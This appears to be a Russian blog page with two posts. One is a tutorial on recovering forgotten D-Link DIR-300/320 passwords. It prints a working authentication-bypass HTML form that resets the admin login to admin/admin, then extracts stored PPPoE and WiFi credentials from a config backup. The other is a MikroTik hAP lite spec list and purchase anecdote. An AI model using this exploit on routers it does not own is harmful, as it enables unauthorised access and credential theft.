D-Link DIR-300/DIR-320/DIR-600. Восстановление забытого пароля.

Представим себе, что вы попали в ситуацию, когда вам надо зайти в web-интерфейс вашего D-Link DIR-320, а пароль администратора вы не помните. Или возьмем более общую ситуацию, когда вам нужно помочь кому-нибудь настроить новый роутер, вместо старого DIR-320, однако, обратившийся за помощью к вам владелец не помнит абсолютно ничего. Т.е. ни пароля для входа в web-интерфейс, ни пароля для PPPoE соединения, ни пароля для WiFi. Очевидный путь в данной ситуации - это просто отложить DIR-320 в сторону, дозвониться до тех. поддержки провайдера, "сбросить" пароль PPPoE и настроить новый роутер. Однако, есть способ проще, который позволяет достать всю необходимую информацию, непосредственно из имеющегося роутера.

Рассматривать сложные варианты, с созданием PPPoE концентратора на Mikrotik'е для того, чтобы узнать пароль к PPPoE мы не будем. Хотя такой подход тоже имеет место. Вместо этого мы воспользуемся exploit'ом D-Link DIR-300 Multiple Security Bypass Vulnerabilities для получения доступа к нашему роутеру.

Создадим в блокноте файл login.html со следующим содержанием:

<form action="http://192.168.0.1:80/tools_admin.php" method="POST">
<input type="hidden" name="ACTION_POST" value="LOGIN">
<input type="hidden" name="LOGIN_USER" value="a">
<input type="hidden" name="LOGIN_PASSWD" value="b">
<input type="hidden" name="login" value="+Log+In+">
<input type="hidden" name="NO_NEED_AUTH" value="1">
<input type="hidden" name="AUTH_GROUP" value="0">
<input type="hidden" name="admin_name" value="admin">
<input type="hidden" name="admin_password1" value="admin">
<input type="submit">
</form>

И откроем его в браузере. После нажатия кнопки "Отправить", несмотря на появившееся сообщение об ошибке логин и пароль для входа в web-интерфейс будут сброшены на стандартные admin / admin, Так, мы получили доступ к web-интерфейсу. Однако, посмотреть сохраненные в роутере пароли таким образом у нас все равно не получится.

Для того чтобы сделать это, заходим в меню System и выбираем там опцию backup'а настроек устройства на жесткий диск. В результате у нас получается файл config.bin, который как раз и содержит все необходимые нам логины, пароли и явки. Однако, содержимое данного файла в бинарном формате, плюс сжато / зашифровано. Для просмотра содержимого полей логин / пароль в открытом виде нам понадобится утилита RouterPassView v1.62 от Nir Sofer'а. Утилита также поддерживает формат файлов конфигурации от множества других устройств. Открываем полученный config.bin в RoutePassView и видим все необходимое:

Теперь, обладая нужными данными можно приступать к настройке нового роутера. Согласитесь, данный способ куда быстрее, чем связь с ТП провайдера для изменения паролей доступа в интернет. Также, его преимущество в том, что вы также получаете пароль от WiFi и можете настроить беспроводную сеть в новом роутере с теми же учетными данными, чтобы все клиентские устройства, которые уже были настроены на беспроводную сеть старого роутера без каких-либо дополнительных настроек начали соединяться с вновь настроенным роутером.

MikroTik hAP lite. Бюджетный роутер от Mikrotik в каждый дом.

Этот пост скорее из серии "рассказать про то, что такое есть", а не как полноценный обзор. Вообщем сейчас ко мне совершенно неожиданно стукнулся старый знакомый в одной из социальных сетей и решил похвалиться свежеприобретенным девайсом - MikroTik hAP lite. Обратите внимание, это полноценный роутер от Mikrotik с MikroTik RouterOS, Level4 license (сравнение различных типов лицензий RouterOS - здесь), который позиционируется как "маршрутизатор для дома, с возможностью работы в качестве точки доступа".

Технические характеристики MikroTik hAP (RB941-2nD-TC):

• Процессор: QCA9531 650MHz
• Память: 32MB DDR RAM
• Сетевые порты: 4x 10/100 Mbit/s Ethernet с Auto-MDI/X
• microUSB порт: - для подачи питания на устройство.
• Беспроводной стандарт: двухканальный 2.4GHz 802.11b/g/n
• Мощность передатчика: 22 дБм
• Антенна: 1.5 dBi
• Электропитание: 5V DC 0.7A, через microUSB
• ОС: MikroTik RouterOS, Level4 license
• Диапазон рабочих температур: от -20°C до +70°C
• Размер: 113x89x28 мм

C подробным обзором этого устройства вы можете познакомиться здесь - MikroTik hAP lite – маленький WiFi роутер с большими возможностями и здесь - Подробный обзор Mikrotik hAP lite (RB941-2nD): лучший домашний роутер в своем ценовом сегменте! . Впрочем, для тех кто хоть раз видел Mikrotik в действии - обзоры не понадобятся. Тема для обсуждения hAP lite на официальном форуме Mikrotik - здесь.

Вообщем резюме очень простое, если вы еще не успели приобрести MikroTik hAP lite за ~1500 руб., то самое время сделать это.

Полезные ссылки

• Подробный обзор Mikrotik hAP lite (RB941-2nD): лучший домашний роутер в своем ценовом сегменте!
• MikroTik hAP lite – маленький WiFi роутер с большими возможностями
• MikroTik hAP lite и Beeline (IPoE/L2TP/IPTV) - инструкция по настройке MikroTik hAP lite на Билайн (L2TP) + IPTV от Phoen.
• Описание MikroTik hAP lite на официальном сайте производителя.

Фотографии устройства

p.s. Решил воспользоваться современными благами цивилизации и оформить заказ в интернет-магазине на ROUTERBOX.RU ... Магазин у них построен на CMS Битрикс, поэтому процесс заказа достаточно прозрачен. Оформил заказ, выбрал удобный для меня способ доставки и оплаты и тут же оплатил Яндекс.Деньгами. С учетом стоимости доставки почтой России обычной наземной посылкой общая стоимость заказа составила 1790 руб. Единственный момент, несмотря на то что заказ был оплачен сразу же после его оформления, статус заказа на сайте так и остался в состоянии "Оплачен: нет":

Остается только надеяться на то, что они просто неправильно прикрутили отображение статуса заказов. Т.к. время на часах уже далеко за полночь - звонить им было несколько поздновато, поэтому отправил письмо с уточнением, прошла ли оплата. Посмотрим, насколько быстро они дадут ответ, заоодно и получим общие впечатления от работы этого магазина. Отзыв и общие впечатления обязательно опубликую здесь.